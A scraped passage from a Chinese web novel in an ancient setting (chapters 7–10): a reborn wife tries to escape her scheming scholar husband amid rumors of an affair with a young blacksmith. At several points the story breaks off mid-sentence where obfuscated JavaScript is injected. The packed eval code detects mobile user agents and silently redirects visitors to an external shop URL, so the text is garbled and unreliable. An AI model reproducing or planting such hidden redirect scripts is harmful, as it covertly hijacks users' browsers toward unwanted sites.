他会演,孟訾鸢也不赖,她任他摆弄,披好衣裳后,把伞塞进他掌心,“想你了,在家里等不及,就打算跑到村口来等你。” “有多想?”崔寂恨低声询问。 “想的吃也吃不好,睡也睡不好,有时候半夜辗转反侧只能爬起来点着蜡烛抄书。”她抬起头,露出充斥着红血丝的眼睛。 崔寂恨挑了下眉,“鸢儿辛苦了。” 他不动声色地牵住她的手腕,指腹轻轻抚过,原本红肿的关节早就恢复原样,白皙纤细,手也灵活得像随风摆动的柳枝,没有半点劳累写字的迹象,崔寂恨脸上闪过一丝讥讽,“陆兄替我买了新书,你不必再抄了,累着自己。” 不用抄书当然好,孟訾鸢求之不得,“真是谢谢陆公子了。” - 推开崔家的篱笆院门,里面飘出淡淡的饭菜香,孟訾鸢体贴道:“读书辛苦,我炖了肉粥,吃起来清新可口不油腻,夫君多吃些补补身子。” 说着就要去灶房端菜,崔寂恨拉住她,“我来,你坐着。” 孟訾鸢笑:“夫君疼我。” 崔寂恨转身去了灶房,掀开锅盖,里面是香喷喷的新鲜白米饭,还有煮好的一荤一素一汤。 从前崔寂恨也会隔三日就备一次荤腥,那会儿孟訾鸢才给他一点好脸色,不过用饭时还是嫌弃地用筷子挑挑拣拣,将肉吃完后,筷子一摔,抬脚就走,口中骂骂咧咧,“这么点肉还不够塞牙缝,真是没出息,死老太婆教养出来一个窝囊废。” 有次她火大,把灶房也砸了,气消后回屋睡觉。 崔寂恨在屋外修补了一夜,寒冬的霜雪与星露在他披散的乌发上,结了一层薄薄的冰雾,冻僵的指节红肿生疮,痒了他整个冬季。 崔寂恨眉眼冷漠地将饭菜端了出去。 一回头,发现孟訾鸢不知何时又去另一张桌子上抄起书来,他走过去,摁住她的手腕,“不是说不抄了?” “抄了一半突然不抄,觉得有些可惜。”孟訾鸢捧起书,在他面前翻了翻,新鲜的墨迹做不得假,这可是她的“心意”。 “没什么可惜的,我会好好收起来,当作鸢儿送我的礼物。”崔寂恨嘴上这么说,动作确实丝毫不带犹豫地将书“啪嗒”一下扔在一边,活像扔个垃圾。他转而走到桌边坐下,推了推一碗水,“给你倒了碗热水暖身子,喝下驱驱寒。” 孟訾鸢听话地端起来喝,咕咚咕咚几下后放下碗,崔寂恨轻飘飘投去一眼,水量与方才无异,就知道孟訾鸢在那装模作样,心底依旧忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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算起来,她和崔寂恨上一回行房还是七八个月前,那时他们之间的关系就已经很僵,傀儡之下的她格外娇气,不是抱怨崔寂恨形状硕大,就是抱怨他力气比耕田还使劲,反正就是哪哪儿都不满意,最后闹得冷脸收场。 从那之后,崔寂恨再未亲近过她。 孟訾鸢咬咬牙,脱衣服的手速加快,“噗通”一下迈进浴桶里坐下,温度合适的热水包裹住全身,洗涤一天的疲惫,她舒服地喟叹一声,想起自己接下来要做的事,又很快地打起精神,在浴桶里摆出一副扶风弱柳的样子,说话跟猫儿似的,“夫君,你在吗?” 门外传来回应,“嗯,怎么了?” “我忘拿换洗的衣物了,你能帮我拿过来一下吗?” 屋外的人沉默下来,半晌后,房门“吱呀”一声被推开,崔寂恨不带任何旖旎的冷淡嗓音响起,“夜里冷,不能再穿薄衣服了,我给你拿过冬的厚里衫。” 冬天穿得里衫将人包裹得严严实实,脖颈都露不出来,那怎么勾引,孟訾鸢想都不想就拒绝,“不用了,我一点都不冷,你拿薄的便可。” 顿了顿,他道:“好。” 一阵窸窸窣窣的翻找响动,孟訾鸢耳朵立得像兔子,不放过一丁点声音,等翻找的动静消失,而后是男人沉稳靠近的步伐,一点点地,与赤身的她缩短距离。 虽然做好了心理准备,可孟訾鸢还是忍不住心跳加快,咚咚、咚咚……心跳与脚步声齐平,突然背后投下来一道黑影,像一张密不透风的大网将她牢牢罩住,随之而来的是令人无法忽略的、属于男人的雄性气息,“衣裳给你拿来了,就放在一旁的马扎上。” 孟訾鸢轻轻点头,“知道了。” “我就站在屋外,有事唤我。”他说完就要走。 孟訾鸢在水下蜷起的手掌紧了又松,眼见着崔寂恨真要走,一个深呼吸从浴桶“哗啦啦”地站起来,水花四溅,香气弥漫,她一手扯住崔寂恨的衣袖,小声期冀地问:“夫君能给鸢儿擦擦身吗?” 8. 得罪 在他即将转身看过来时,孟訾鸢“唰”的一下重新钻回浴桶里,热水淹到肩头,敛住风光。她勉强坐直身子,低眉顺眼地望着逐渐平静的水面,忽然那抹平静被打破,一只手伸入到水里。 崔寂恨将衣袖挽到胳膊肘,露出冷白劲瘦的手臂,上面盘踞着几根青色血管,他将布巾打湿后,手指捏着布巾朝她悠悠划过来。 水面荡起微波,一如孟訾鸢此刻微微慌乱的心绪。 在布巾放在肩头时,她忍不住颤了一下。 “冷?”头顶落下一道询问。 “不是,”孟訾鸢强颜欢笑,转移自己的注意力,“离乡试还有多少天?” “一月余。” “咱们这儿离江南贡院多少里路?”孟訾鸢又问,“到时你是与陆少爷一起从落霞镇上出发,还是自己从咱们左家村出发?” “陆兄说他家届时会备好一驾马车,我与他从落霞镇出发,到江南贡院来回约莫需要三天左右。”崔寂恨一一回答她的问题,手上擦拭的动作也没落下,洗完后背,布巾挪到前面。 孟訾鸢肉眼可见地僵住,崔寂恨站在浴桶边,居高临下地望着她,将模糊朦胧的风光尽收于眼底,而后继续面不改色地替她擦洗。 “何时弄得疤?”崔寂恨倏地出声,视线落在她心口处一道狰狞的疤痕上,从左心口斜着往下,大概半寸长。 孟訾鸢循着他低头望去,“上回在山里摔的,滚下坡的时候被石头拉了一条深口子,肉长好了疤也祛不掉了。 “怎么不说?” “本来是要与你说的,可是村子里的人都道我是跟野男人私奔,你又好端端得出现在山里头,我以为你是信了他们的鬼话,不敢告诉你。”孟訾鸢表情委屈极了。 崔寂恨屈膝蹲下,这个姿势正好让他与坐在浴桶内的孟訾鸢平视,看着她被热水熏红的小脸,“伤口还疼吗?” 孟訾鸢迎上男人变深的眸子,“……一点点。” 崔寂恨拧干布巾,一手将人从水里捞出来,另一只手将她全身的水珠擦净,而后一把打横抱起,“去榻上仔细检查一下。” 孟訾鸢乖顺地被他抱到榻上,捱到床褥就往里一滚,掀开被子把自己藏了进去,只露出两只眼睛看着外面。崔寂恨居高临下地站在一边,眼神缓慢地落在她身上,“这是作何,不让我检查?” “谁晓得你的检查正不正经,”孟訾鸢扑闪几下卷翘长睫,“男人都是登徒子。” “那鸢儿希望是什么?” 崔寂恨坐在榻边,手撑着床褥俯下身,脸凑到了孟訾鸢跟前,两人呼吸交错,“是望为夫正经还是不正经?”他伸手描摹她的五官,娥眉、鼻尖、唇瓣、下巴,一一描过,来到她凹陷的锁骨处,“鸢儿可还记得上回我去学堂前,你答应过我的话?” “什么话?我不记得了。”孟訾鸢无辜地眨了下眼,装傻。 “无妨,我让你记起来。” 崔寂恨继续兢兢业业地检查,何处无伤一眼带过,何处有伤需要掰开细查,全程仿佛在参与一场考试,哪里是难点和重点,他全部都不放过,一番检查下来,孟訾鸢嘴唇快要咬破,意识恍惚地阖着眼。 崔寂恨神色平静地将一切看在眼里,凉薄的眉眼窥不见一丝情-欲,只有玩弄一只逃不出手掌心的猎物的趣意。 在他幼时崔家养过一只幼猫,他兴致来了就逗几下,猫儿却将他短暂的逗弄当作宠爱,看见他就迫不及待地跑过来邀宠,蹭着他的手掌撒娇,好像崔寂恨就是它的一切。 可惜它只是一只猫,一个可有可无的宠物。 在这枯燥乏味的日子里,孟訾鸢比不会说话的猫有趣,谎话信手拈来,会惺惺作态装可怜,还会故作矫揉勾引人。 “抖得好厉害。”崔寂恨忽然出声。 孟訾鸢鬓角被香汗打湿,手掌蜷起又松开,她果真应了先前崔寂恨的那句话,太久未行房而受不住,这才刚开始她就有了打退堂鼓的心思。而且也不知怎么得,突然就开始头晕脑胀起来,胸腔的氧气开始稀薄,一种窒息感涌了上来……这种感觉有点熟悉。 她记起来了,那日她准备跑路时,走到山坡也是突然身体不舒服,头重脚轻地就栽倒在地,还是等到崔寂恨来才将她救起。 孟訾鸢小脸皱起,大概猜到这是什么状况了。 在话本子里,男主不该在这个时候与她亲密,因为按照故事走向,男主已经厌恶至极了她,之后的每一天都清心寡欲,直到遇见命中注定的女主,男主才开始重新恢复欲望。显然孟訾鸢方才的勾引打破了这种制衡,她又开始不舒服起来了,原来即使这一世重生后不会再被话本子控制,但还是留有一些其他的隐患——破坏故事走向,可能会受到反噬。 孟訾鸢抵住崔寂恨的胸膛,艰难道:“我忽然有点累了,想睡觉,今天就算了吧。” 她声如蚊呐,小得几乎只能自己听见,崔寂恨未如她所愿地停下。 孟訾鸢更用力地推拒他,“我让你放开我!” 崔寂恨这下听清了,他停下动作,转头看过去。 屋外突地“轰隆”一声,电闪雷鸣,再度下起了暴雨。雨珠拼命拍打着摇摇晃晃的纸窗,整栋木屋都在震动,寒冷的湿气从四面八方灌入,屋内的气氛冷如冰窖。 崔寂恨眼神冷了下来,松开她,转身朝屋外走去。 “咯吱”一声,门开了又关。 屋内只剩下孟訾鸢一人。 没了崔寂恨,孟訾鸢渐渐从那股窒息感中抽离出来,半晌总算恢复平静,她力竭地睁开眼皮,望着紧闭的屋门,后悔又无奈地叹了口气。今夜她有意勾引,后面她又出尔反尔,整这么一出,怕是又把崔寂恨得罪了一次。 他还是那般记仇的人。 今夜的事肯定过不去的,日后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟訾鸢舀了一瓢清水冲了冲,顾不上包扎,就站在篱笆院眼巴巴地望着外面,等崔寂恨一出现她就去接他。可是等了许久,腿站酸了,饭菜凉透了,也没有看见崔寂恨的影子。 她奇怪地蹙了蹙眉,正欲去地里寻人,小路尽头传来脚步声,听方向是往崔家来的,孟訾鸢喜出望外,“夫君你回来——” 话音在葛月茹出现的那瞬戛然而止。 葛月茹挎着送饭的篮子,脸色嘲讽,“孟姐姐这是把我当谁了,不会是崔相公吧?你在等他回来吃饭?” 她故意抻着脖子往篱笆院内看了一眼,瞧见满桌的菜肴,眼底闪过一起讥笑,葛月茹朝她眨眨眼,“那你可要愿望落空了,方才我去地里送饭,崔相公特意交代我来跟你说一声,他明日要上学,今个儿就得启程去镇上学堂,就在刚刚已经背着包袱走远了。” 孟訾鸢脸上的喜意渐渐褪去,取而代之的是一抹深深的失落。 这一幕落在葛月茹眼里暗喜至极,“崔相公走的时候可是半分留恋都没有,我问他还有没有话叫我带给你,你猜他说了什么?” 葛月茹一直觊觎崔寂恨,孟訾鸢半信半疑,“说什么?” “说他课业繁重,下次休沐不回来了。” 9. 红杏出墙 崔寂恨赶到陆府已经是两个时辰之后,按原计划,陆晏奚会在门口等他,然后两人一起去兰芷书苑。但崔寂恨在府外等了半盏茶都没见到陆晏奚,他踩上台阶,欲进医馆询问。 没想到甫一抬脚,门口就轰出一个人来。 “逆子,你若是不与娄小姐定亲,以后就莫要进我陆家的大门,我陆庭洲就当没生过你这个儿子!”陆老爷站在医馆门口,指着摔倒在地的陆晏奚大骂道。 旁边站着一个眉目温婉的妇人,见状拉住陆老爷,在旁苦苦相劝,“老爷,晏奚是我们唯一的孩子,你怎么能这样对他,婚姻大事本就是要看双方的意愿,晏奚他不想与娄小姐定亲,要不就算了吧。” “休要胡闹,”陆老爷震怒,“娄知县是什么人,是落霞镇的父母官,他教养出来的女儿知书达理,多少好人家想要娶回去。若不是你母亲与故去的娄夫人曾是闺中好友,曾有过娃娃亲的约定,你当这个逆子高攀得上人家?” 陆晏奚从地上爬起来,乌发往后一甩,还是那副纨绔德行,“高攀不上那就不攀了,娄千金哪有我后院的阿春阿夏阿秋好……” 阿春、阿夏、阿秋是天香楼的妓子,虽卖艺不卖身,但进了烟花之地总归身家不清白。原先陆晏奚只是在那寻欢作乐,陆父也就睁一只眼闭一只眼,毕竟儿子自懂事以来都这个德行,可谁知就在最近准备商议去娄府下聘时,陆晏奚打死都不愿意,还胆大妄为私自将三个妓子抬回了陆家做小妾,命下人分别喊春姨娘、夏姨娘和秋姨娘,这让门门风素来清朗、家规严谨的陆老爷脸上一再蒙羞,气得要将陆晏奚轰出家门。 “逆子还有脸提,看我不打死你——”陆老爷扬起巴掌,一旁的陆夫人拉都拉不过来。 陆晏奚嬉皮笑脸地往后躲,“父亲,消消气,莫气坏了身子,回头儿子给您生的小孙子您都看不见。” 这话无异于火上浇油,陆夫人无奈道:“晏奚,少说几句。” 陆晏奚当真纨绔到无药可救,扇了扇手中的青竹折扇,没脸没皮道:“母亲,儿子要去学堂读书了,不然得迟了。您在家中好好劝劝父亲,让他莫要操心我的婚事,还有,帮我照顾好三位姨娘,没准肚子里已经有儿子的骨肉了。” 眼看着陆老爷气得要厥过去,陆晏奚笑嘻嘻地离开陆府。 走下台阶,偏头就撞见了崔寂恨,陆晏奚惊讶道:“暮春几时来的,这么早,我还以为要再等会儿。” “在你被陆老爷一脚踹出府前就来了。”崔寂恨淡淡回。 陆晏奚干笑两声,“叫暮春看笑话了,家父历来脾性耿直,稍有不顺心就大发雷霆,”说着他深深叹了口气,“这不又因为我不顺着他去定亲,嚷嚷着要将我赶出家门。” 方才发生的崔寂恨全听在耳朵里,开口直言这门婚事的利处,“娄知县是本镇父母官,你若是与娄小姐定下亲事,日后少不了益处。” “你倒是想得周全,你去娶。”陆晏奚斜他一眼。 崔寂恨鼻尖溢出一声短促的笑,“陆兄的福气,暮春不敢抢。” “少在这笑话我,心底正烦着呢,”陆晏奚看陆老爷隐约有追上来摁着他抽的架势,连忙拉着崔寂恨赶路,“快走快走。” - 距离乡试的时间一日比一日少,兰芷书苑内的三个学舍的学生,无一不勤奋苦读,唯独陆晏奚常常没个正形,这才重返书院不过三四天,不是念叨他后院的美妾和天香楼其他的相好,就是逃了课去后山斗蛐蛐。 一日之计在于晨,晨读下课后,众人准备去食舍用晨点。 崔寂恨合上书籍,拂了拂衣摆起身,也随大流去食舍,走在前头的几个青年勾肩搭背,说着前几日云岫学舍后山发生的怪事,“当真是咱们学堂的张生?他不是最厌恶多蚊虫的地方么,好好跑去后山干什么,竟还被野狗生生咬下一条右手来?” “骗你作甚,我亲耳听见堂长料理事务说的,”白衣书生回忆着,“张生就昏死在地上,不死也废了,我说他前些时日怎得不来上学,还以为他又是逃课去赌坊赌钱了,谁晓得一直昏在后山。” 另一书生哼了声,“他那右手不要也罢,天天就晓得鸡鸣狗盗之事,不是偷就是赌,张家原先也有个不小的铺子,就是被他败光的,不然他可是能在青云学舍读书,怎会沦落到云岫。” “你们说野狗真能咬断一条胳膊?” “我觉着不像,”白衣书生压低声音,“我猜是没钱还赌债,被赌坊的人砍了,这回他不仅人废了要被退学,还落了个残疾……” 肩膀倏地被人从后一拍,崔寂恨从前面几人的议论声中回头,对上陆晏奚看好戏的脸,“暮春,我与你说件书苑的怪事,你听不听?” 崔寂恨最烦他叽叽歪歪,指了指前面,“后山的事么,我听到了。” “你既听到了那我就不费口舌了,”陆晏奚给自己扇了扇风,“我原本以为你说后山有野狗是蒙我的,不曾想还真有!还好我斗蛐蛐的时候没遇见,不然我这能诗能武的右手可就险了。” 崔寂恨丝毫不给他面子,“陆兄不是年少习过武术么,一条野狗也怕?” “花拳绣腿罢了,”陆晏奚笑道,“你别去食舍吃晨点了。” 崔寂恨睨他,眼里写着“你又要搞什么”。 “这种眼神看我做什么?真是好心当作驴肝肺啊,”陆晏奚夸张地捶胸顿足,过了一把戏瘾,然后才哈哈笑了两声说,“弟妹来给你送饭了,这会儿就在书苑门口等着呢。” - 孟訾鸢拎着食盒在书苑门口等着,站得累了,直接坐在台阶上,手掌贴了贴食盒,还是温的,只是左等右等也没见人来。她把食盒抱在怀里,有些担心陆晏奚有没有把话带过去,或者话带到了但是崔寂恨不愿来见她。 “——鸢姐姐?” 街上车轱辘碾过青石板的动静停下,随后传来一声试探的喊声,孟訾鸢听着有些耳熟,抬起头看去,前面站着的正是左家村的小白脸少年铁匠,也就是众人口中她的野男人,李戈。 少年身形高挑,骨相优越,生得一副草原异域容貌,好看得紧,若是不看他穿着朴素、不知他的铁匠身份,瞧着反倒像是哪家偷跑出来不小心落难的小公子。 “真的是你,我还以为我看花了眼,”李戈放下手边用来送铁器的板车,走上前几步,“你怎么突然在镇上的书苑门口坐着?” 孟訾鸢也没料到会碰见李戈,遇见谁不好,偏偏遇见他,这要是叫人看见了回头传到崔寂恨耳朵里,岂不是罪加一等。她局促地站起身,往后挪两步,与他拉开距离,“我来送饭。” “给谁送?”李戈盯着孟訾鸢腕间挎着的食盒,到底还是个十七岁的少年,面儿上装得老成,心底还是嫩的,忽地顿了顿,高兴得像个摇着尾巴的大狗狗,“你专门跑来送给我吃的?” 孟訾鸢:“不是!” 李戈却认定她就是来送饭给他吃的。 虽然村子里传他们拉拉扯扯的事是谣言,但李戈确实很喜欢这位鸢儿姐姐,因为孟訾鸢在别人口中泼辣刁蛮,在他这儿却明媚小意,还给他一个无父无母的孤儿取了小字,叫阿曳。 阿曳,一个很好听的名字。 李戈本就年纪不大,又生得好看,笑起来叫人舍不得挪开眼睛,“是就是,你不好意思作什么,我与你的关系用不着客气。” “我们才没什么关系!”孟訾鸢脸憋得通红,生怕他多说多错。 这一幕落在李戈眼里以为她是害臊,也对,孟訾鸢毕竟是人妻,还未和离,不能与他明面上真的有什么关系。李戈理解她,“鸢姐姐说得对,你还未与姓崔的和离,我不该这么说话。我会等你和离的。” 少年的一片心意突然砸过来,孟訾鸢被吓得往后退了半步,没站稳,险些整个人朝后栽倒,却撞入一个宽厚而带有薄怒的胸膛,一股不祥的预感升起,她猛地转头,看清是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498136|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时倒吸一口凉气,“夫君,你你你出来了。” 来人正是崔寂恨,男人阴沉着脸,“我出来的不赶巧,打扰到二位叙旧了。” “不是你想的那样。”孟訾鸢暗叫糟了。 偏生李戈初生牛犊不怕虎,火上浇油,“就是你看到的那样。” 崔寂恨面无表情地看过去,李戈与他对视时,被那晦暗阴鸷的眼神震慑住,眼前人仿佛从温润书生一下子变成了暴虐残忍的魔头,他惊骇地往后退了退,可少年人最忌讳在心上人面前落了下风,强装镇定道:“鸢姐姐之前跟我说过,她不喜欢你,之所以嫁给你,是因为你家老夫人将她从闹市中赎身回来,为了报恩,她这才委身嫁与你。可你倒好,对她非打即骂,这样一个娇嫩的姑娘,你竟也下得去手!” 这一番话简直胡说八道,孟訾鸢两知道肯定是之前剧情影响“她”才这么说,恶毒女配嘛,最喜欢自怜自艾,利用别人的同理心了,把自己说得多么多么惨,让李戈怜惜“她”,顺便摸黑男主崔寂恨,给崔寂恨拉仇恨。 就是没想到李戈今日全抖落出来了! 孟訾鸢直呼自己真是倒霉透顶。 “崔寂恨,我今日就在这里跟你坦白,你不喜欢鸢姐姐就尽早休了,我娶她为妻,”李戈拍着胸膛发誓,“待她成了我媳妇儿,我定会比你一百倍一千倍地疼她,至少不会让她日日夜夜独守空房,以泪洗面。” 李戈鄙夷地往下瞟了眼崔寂恨:“脾气大几把小。” 孟訾鸢两眼一黑,“我没、没说过!” 崔寂恨怎么会小,分明是壮硕如小儿手臂,正是如此所以他们行房格外困难,她欲哭无泪,百口莫辩,“夫君你信我,我真的没有说过这种话。” 崔寂恨丝毫不在意此等“栽赃”,只有被说中的人才会恼,他实力超凡不放在心上,反而一字一顿地复述另外三个字:“鸢姐姐?” “他是这么唤你的?”他歪着脑袋看孟訾鸢,忽地冷笑一声,“很是亲热啊。” 孟訾鸢死死攥住食盒,“你误会了。” 崔寂恨不发一言地在她和李戈之间来回扫视,意思亲眼所见并非误会,而是铁证如山。孟訾鸢紧张地吞了吞口水,“我今日是来给你送饭的,陆公子可以作证,是我让他喊你出来的。至于他,是意外碰见,我没有与他叙旧,是他上来非要跟我说话的。” “鸢姐姐!”李戈不可置信地僵了僵。 孟訾鸢转过身瞪他,“你给我闭嘴,在我夫君面前胡言乱语一通我还没找你算账呢,你可知道前面就是公堂,你当街勾引有妇之夫可是重罪。” “我们之间,你竟说是‘胡言乱语’?” 这话说得好像他们真做了什么似的,孟訾鸢急得直跺脚,想要全盘否认,可事到如今窗户纸已经捅破了,再遮遮掩掩反而麻烦,还不如一次性说开以绝后患,“是,我承认从前我与你有过几分纠缠,但那只是深闺寂寞,想找个人与我说话。可论真心,我只喜欢我夫君,你听清了吗?需不需要我重新说一遍?” 李戈表情像是受了重伤,孟訾鸢于心不忍,还是重复那句:“我不喜欢你,我只喜欢我夫君崔寂恨。” 对面的少年突然哑了声,像只斗蔫儿了的公鸡黯然离开。 见他走远了,孟訾鸢堪堪松一口气,偏头觑向崔寂恨,心里忐忑不安地思忖着如何找补。然而崔寂恨一脸平静,无喜无怒,全然像个置身事外的旁观者,开口便是:“妻若犯七出之一,夫家可休书一封。” 他要休了她。 孟訾鸢怔在原地,再是一阵狂喜! 她原本的计划是,花些时日修复两人的关系,至少绝了崔寂恨杀她的心,待等到一个合适的时机,再主动请求和离,好规避以后的祸患。可没想到崔寂恨居然主动地提出休了她? 孟訾鸢几乎要按捺不住自己上扬的嘴角,只好低头,颤抖的声线下是止不住的笑意,“夫君,你真的要休了我吗?” 10. 梦境 孟訾鸢垂着脑袋,解释都不屑于解释几句,呜呜假哭一会儿道:“也罢,毕竟村子里传言到处都是,你厌了我也实属正常。既然你已经决定要休妻,我也不好再待在崔家,我这就回去收拾行囊离开。” 她将食盒放在台阶上,掉头就走,生怕崔寂恨反悔。 一步、两步、三步…… 崔寂恨没有叫住她,孟訾鸢悬了许久的心终于能落下。她长吁一口气,然而下一瞬身后就有人跟上来,“站住。” 仅仅两个字,孟訾鸢就僵在了原地,心底“咯噔”一声,果然不待她回头,后背就贴上男人宽厚的胸膛,下巴亲昵如初地搁在她的发顶,属于崔寂恨的嗓音传来,“方才只是一时怒上心头说错了话,鸢儿莫怪,为夫怎会舍得休了你。” “你又不休我了?”孟訾鸢差点藏不住火气,这人竟出尔反尔! 崔寂恨好整以暇地淡笑,眼神里仿佛写着“就出尔反尔又如何”。 孟訾鸢险些一口气提不上来,不忍心到嘴的鸭子就这么飞了,只好继续坚持,“我犯了七出,合该被休,夫君你还是休了我吧,鸢儿绝无怨言。”求求你了,休了我吧,我谢你后半辈子。 “你与那李戈并无做出实质性的错事,何来七出之说,”崔寂恨大度地腹里能装下一片海,“身为丈夫,应当心胸宽广,你与李戈的事既说清楚了,那就不必放在心上。只要你们二人以后都继续保持清清白白,我不会再追究,你我二人好好过日子。” 孟訾鸢看他虚伪的样子气不打一处来,“你就不怕我日后真的跟他藕断丝连,给你戴绿帽子?” 崔寂恨望着她,“你不会的。” “你怎晓得我不会?”她不服气。 “你不敢,”崔寂恨忽然俯首,贴在孟訾鸢的耳侧,“鸢儿最惜自己这条命的不是吗?” 温柔却危险的话响彻耳畔,孟訾鸢瞳孔微缩,所有的话全部吞回喉咙里,不敢再造次。她险些忘了,此时的崔寂恨就是个疯子,一个不择手段贪图杀人快感的疯子。 - 书苑规定用晨点不得超过半个时辰,方才与李戈的一番争执已浪费不少时间,避免一会儿错过讲学挨罚,崔寂恨在孟訾鸢带来的一盒饭菜里,只用了一盘点心,饮水漱口后便回了学堂。 待书苑大门合紧,孟訾鸢也拎着食盒走了。 本来以为大好的时机终于等到,谁知空欢喜一场,她重重地叹口气,心不在焉地走着路。路街上人多,她往里挪了挪,不料经过一间铺子拐角时,一道黑影突然扑到她身上,紧接着脖颈传来刺痛。 “嘶,”孟訾鸢疼得蹙眉,抄起食盒乱舞,“什么东西快走开。” 黑影结结实实捱了食盒一下打,疼得“喵呜”一声,从孟訾鸢身上蹿下来,灵活敏捷地跑远了。孟訾鸢气呼呼地捂着脖子追上去,远远地望见是一只黑白相间的小花猫,四条小短腿跑得极快,就在快要消失在巷口时,一只素净白皙的手将它抱了起来。 “称呼你为小乖,怎得如此顽劣,是不是又调皮挠人了?”说话的姑娘眉目婉约,一身浅蓝色的箩裙衬得她如出水芙蓉,清新淡雅。她抱着猫朝孟訾鸢的方向走来,身后跟着一个梳着双髻的小丫鬟,看着像是落霞镇上哪家大户的千金。 那姑娘径直走到孟訾鸢跟前,出声询问:“我家猫儿方才可是挠伤了姑娘?” 孟訾鸢脾气来得快去得也快,看人家小姐特意上来赔礼道歉,也不打算追究了,“一点小伤没什么大碍。” “可伤口都流血了,”对方一脸歉意,“姑娘若是不忙,要不随我去天行医馆走一遭,陆大夫妙手回春,定能医好你,疤痕都不会留的。” 孟訾鸢不想多事,“不必麻烦。” 见她真不用帮助,对方只好作罢,“姑娘若是有事,可来娄府找我。” 原来是娄知县的千金,怪不得如此知书达理,孟訾鸢敷衍地点了点头,捂着脖子离开,还没走远,听见主仆二人围着小猫交谈。 “这猫短短几天工夫闯了多少祸,小姐,要不别养了吧?” “捉都捉来了,怎能说弃就弃,这可是一条生命,更何况它前些日子才下了一窝崽,都还吃着奶呢,我要是将它扔了,它的一窝崽如何养活?”顿了顿,娄小姐温声道,“再说了,陆伯母前不久才有我提了一嘴,说想养只猫,它又正好下了一窝崽,等再养大些,就捉一只好看听话的到陆府。” 丫鬟替她不平,“小姐,您总是这样,陆府的一丁点小事都放在心上,千百般为别人考虑,可是别人呢,记不得您一点好。尤其是那个陆纨绔!听说陆老爷和陆夫人前些日子都准备来娄府下聘礼了,陆纨绔却死拦着不准,这也就罢了,还又往家里纳了好几个小妾!小姐,陆少爷这样的风流浪子配不上您,要不您还是和老爷说不与陆家定亲了,您是知县千金,咱们落霞镇那么多俊俏郎君,难不成还找不到一个配得上您的夫婿?” “绿衣,你说得这些我都懂,可是感情一事向来由不得人,落霞镇的俊俏郎君是很多,可都不是我喜欢的那一个。” 丫鬟重重叹气,“小姐啊小姐,怎么您就偏偏对那纨绔上了心呢。” 两人说着话离开了。 未走远的孟訾鸢将话听进了耳朵里,原来那位是娄知县的女儿,本镇父母官的千金。因为话本子里没有这号人物的重要戏份,所以孟訾鸢对这位千金不了解,不过刚刚一番巧遇下来,倒是觉得这位娄千金知书达理,颇有大家闺秀的风范。 只是听起来她好像痴恋陆晏奚…… 而且陆晏奚还不为所动,拒绝与她定亲。 孟訾鸢仔细回想了下,在话本子里,陆晏奚算是男主崔寂恨身边的一个得力助手,是男主复仇棋局上一颗重要的棋子,勉强算得上是男配吧。不过这个男配好似没什么感情戏,乃至书里都没有怎么提及他日后的正室夫人是谁。 思前想后,孟訾鸢倾向于陆晏奚生性浪荡,一生都流连于花丛中,没有娶妻生子。 那这样的话,这位娄千金怕是要失望了。 - 白日那只花猫抓得深,孟訾鸢当时没放在心上,夜间准备睡觉时方觉得火辣辣得疼,在榻上翻来覆去烙煎饼,实在困倦得眼皮都睁不开才沉睡过去。 不知是不是受了惊吓,这一觉她睡得格外不安生。 一会儿梦回被崔老夫人买回来之前颠沛流离的日子,一会儿记起白天那只冲她龇牙哈气的花猫,后来又是掉入一个从未见过的梦境。 熊熊大火中,一座府邸内躺满了一具具看不清真面目的焦尸,府门上高挂的牌匾被人一箭射下,“轰”的一声砸在地上四分五裂,昔日被全天下文人墨客追随的一代名流之门“崔府”,就这么宛如一块垃圾般被人踩在脚底。 一个妇人带着几岁的男童跪在府门之外,正是十余年前的崔老夫人和孩童时期的崔寂恨。 站在他们面前的是宫廷太监的打扮,手里展开一道圣旨宣读:“朕闻崔家遭逢火灾,家业尽毁,更有幼女夭亡,实为可悯。既已家徒四壁,无资可没,且崔兰修也已伏法,其家眷可不连坐。然其家所受恩赏一律追回,削籍为民,自此与庶人无异。” 尖细的声音读到最后停了停,“庶民接旨吧。” 那时的崔家支离破碎,崔老爷被新帝赐毒酒死于狱中,崔家幼女不慎葬于火海,上上下下的几百口家仆也因为没法及时逃离全部死去,当时的崔老夫人心如死灰,眼睛已经哭干了,形同枯朽的腐木般,膝行上前接过圣旨,“谢主隆恩。” 崔老夫人踉跄着站起来,去拉崔寂恨,准备带他离去。可是一直沉默着跪了许久的小小少年任凭她怎么拉也拉不动,那太监眯了眯眼,“你就是崔寂恨,崔兰修之子?” “是。”小少年声色尚且稚嫩。 “你母亲已经领旨谢恩了,你为何还跪着不走?” 少年终于抬起头,“我妹妹还在里面。” 一句话就叫崔老夫人落下泪来。 她何尝不知她的小女儿还在火海中,尸体已成焦炭,可如今周围虎视眈眈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498137|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 